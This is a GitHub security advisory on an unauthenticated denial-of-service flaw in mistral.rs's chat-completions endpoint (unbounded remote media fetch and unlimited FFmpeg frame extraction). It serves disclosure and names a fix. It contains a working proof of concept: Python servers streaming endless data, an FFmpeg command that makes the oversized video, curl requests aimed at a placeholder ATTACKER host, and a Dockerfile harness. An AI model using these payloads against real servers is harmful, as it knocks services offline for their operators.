GitHub Advisoryadvisory · crates.io
GHSA-m3wp-48jr-vr4g mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS
HIGH
Official page ↗
- Ecosystem
- crates.io
- Packages
- mistralrs-server-core
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2026-09-10
Affected packages
• crates.io mistralrs-server-core: < 0.8.18 → fixed in 0.8.18
Description
Unbounded Remote Media Fetch and Video Frame Expansion DoS
Summary
The `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.
Details
Three independent sinks contribute to the vulnerability:
1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59–62`)
```rust
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
match reqwest::get(url.clone()).await {
Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap
Err(e) => anyhow::bail!(e),
}
```
`bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.
2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65–69`)
```rust
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
let resp = reqwest::get(url.clone())
.await
.context(format!("Failed to fetch video: {url}"))?;
resp.bytes().await?.to_vec() // no byte cap
```
Identical pattern to the image path; the full video body is buffered into a `Vec`.
3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225–248`)
```rust
} else {
let mut command = tokio::process::Command::new("ffmpeg");
command
.arg("-i")
.arg(input_path.to_str().unwrap())
.arg("-vsync")
.arg("vfr")
.arg(&output_pattern);
```
When `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`:
```rust
parse_video_url(&url_unparsed, None)
```
A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.
Entry point and auth
The route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration.
PoC
Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)
```bash
ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \
-c:v libx264 -preset ultrafast -crf 35 many_frames.mp4
```
Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server
```python
Option A: serve the video file
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "video/mp4")
self.end_headers()
with open("many_frames.mp4", "rb") as f:
self.wfile.write(f.read())
HTTPServer(("0.0.0.0", 9001), H).serve_forever()
```
```python
Option B: infinite image stream (memory exhaustion, no FFmpeg required)
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.end_headers()
chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
while True:
self.wfile.write(chunk)
self.wfile.flush()
time.sleep(0.01)
HTTPServer(("0.0.0.0", 9002), H).serve_forever()
```
Step 3 – Send the malicious request to the mistral.rs server
```bash
Video variant (disk/CPU exhaustion + memory)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{
"model": "default",
"messages": [{
"role": "user",
"content": [
{"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}},
{"type": "text", "text": "summarize this video"}
]
}]
}'
Image variant (memory exhaustion)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{
"model": "default",
"messages": [{
"role": "user",
"content": [
{"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
{"type": "text", "text": "describe this image"}
]
}]
}'
```
Expected observation
For the video variant: `/tmp/mistralrs_video/_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.
For the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.
Dynamic reproduction result (Phase 2)
A Docker container running a verbatim reproduction of `util.rs:59–62` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.
Impact
Any user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.
Reproduction artifacts
`Dockerfile`
```dockerfile
syntax=docker/dockerfile:1
VULN-001 PoC: Unbounded Remote Media Fetch DoS
Repository: EricLBuehler/mistral.rs
Vulnerability: mistralrs-server-core/src/util.rs:62
http_resp.bytes().await?.to_vec() -- no byte cap on HTTP media fetch
Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.
Stage 2: Slim runtime image used by poc.py.
----- build stage -----------------------------------------------------------
FROM rust:1.87-slim AS builder
WORKDIR /harness
Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)
RUN apt-get update && \
apt-get install -y --no-install-recommends pkg-config libssl-dev && \
rm -rf /var/lib/apt/lists/*
Copy Cargo manifest first so that dependency layer is cached separately.
COPY vuln_harness/Cargo.toml Cargo.toml
Stub src so `cargo fetch` / dependency download works before copying real source.
RUN mkdir -p src && echo 'fn main() {}' > src/main.rs
RUN cargo fetch 2>&1
Now copy the real source and build.
COPY vuln_harness/src/main.rs src/main.rs
RUN cargo build --release 2>&1 && \
strip target/release/vuln_harness
----- runtime stage ---------------------------------------------------------
FROM debian:bookworm-slim AS runtime
RUN apt-get update && \
apt-get install -y --no-install-recommends ca-certificates python3 && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness
Copy the PoC orchestration script so the image is self-contained.
COPY poc.py /poc.py
Default: show usage
ENTRYPOINT ["/usr/local/bin/vuln_harness"]
CMD ["--help"]
```
`poc.py`
```python…
Related
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness